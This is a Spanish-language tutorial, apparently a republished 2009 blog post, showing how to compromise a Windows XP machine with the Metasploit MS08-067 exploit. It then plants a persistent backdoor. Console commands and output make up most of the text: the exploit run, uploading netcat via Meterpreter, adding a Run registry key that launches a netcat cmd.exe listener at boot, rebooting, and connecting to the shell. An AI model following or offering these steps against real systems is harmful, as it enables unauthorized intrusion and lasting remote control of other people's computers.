Inicio Linux & Systems Networks & Infrastructure Cybersecurity Cloud & DevOps SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas Proyectos Sobre

Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

Read in English
Subir Archivos y Crear Clave dentro del Registro [BackDoor ]

Tabla de contenidos

[Metasploit By: Shell Root]

Cuando ingresamos a un P.C remoto, con ayuda del Metasploit, además de tener el PAYLOAD con Meterpreter, tenemos varias opciones. Una de ellas conseguir la Shell Remota, Ingresar Claves al Registro de Windows, Subir Archivos del P.C atacante hacia la P.C Remota.

Primero ingresaremos a la P.C con el exploit:

  • exploit/windows/smb/ms08_067_netapi

y con el PAYLOAD:

  • windows/shell/bind_tcp
  • windows/shell/reverse_tcp

En este caso usaremos el PAYLOAD windows/shell/bind_tcp.

Código:

CODE
bash
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

       =[ metasploit v3.3.2-release [core:3.3 api:1.0]
+ -- --=[ 462 exploits - 219 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7808 updated 7 days ago (2009.12.10)

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.0.3
RHOST => 192.168.0.3
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.3      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.0.3      no        The target address

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit[*] Started bind handler[*] Automatically detecting the target...[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish[*] Selected Target: Windows XP SP2 Spanish (NX)[*] Triggering the vulnerability...[*] Sending stage (723456 bytes)[*] Meterpreter session 1 opened (192.168.0.2:1934 -> 192.168.0.3:4444)

meterpreter >

Ahora estamos dentro del P.C Remoto, Subamos el Archivo NetCat de nuestra P.C a la P.C Remota, con uso del comando upload. Miremos que opciones tiene esté comando.

Código:

CODE
text
meterpreter > upload
Usage: upload [options] [Ubicación Archivo Local] [Ubicación Archivo Remoto]

Uploads local files and directories to the remote machine.

OPTIONS:

    -r        Upload recursively.

meterpreter >

Así:

Código:

CODE
text
meterpreter > upload C:\Windows\System32\nc.exe C:\Windows\System32\[*] uploading  : C:WindowsSystem32nc.exe -> C:WindowsSystem32[*] uploaded   : C:WindowsSystem32nc.exe -> C:WindowsSystem32\nc.exe
meterpreter >

Despues crearemos una clave dentro del Registro de Windows con la siguiente ruta:

  • HKLM\Software\Microsoft\Windows\CurrentVersion \Run

Asi:

Código:

CODE
text
meterpreter > reg setval -k HKLM\Software\Microsoft\Windows\CurrentVersion\Run -v Hacked -d 'C:WindowsSystem32nc.exe -L -d -p 1234 -e cmd.exe'
Successful set Hacked.
meterpreter >

Ahora solo nos queda reiniciar el P.C remoto con el comando Reboot. Asi:

Código:

CODE
text
meterpreter > reboot
Rebooting...
meterpreter >

Y por ultimo conectarnos con el BackDoor que acabamos de dejar en la P.C Remota. Podemos usar el Mismos Metasploit o la Consola de Windows. En este caso usaremos el Metasploit. Así:

Código:

CODE
text
msf > connect 192.168.0.3 1234[*] Connected to 192.168.0.3:1234
Microsoft Windows XP [Versi¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:Documents and SettingsShell Root Remoto>

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/subir-archivos-y-crear-clave-dentro-del.html

Comentarios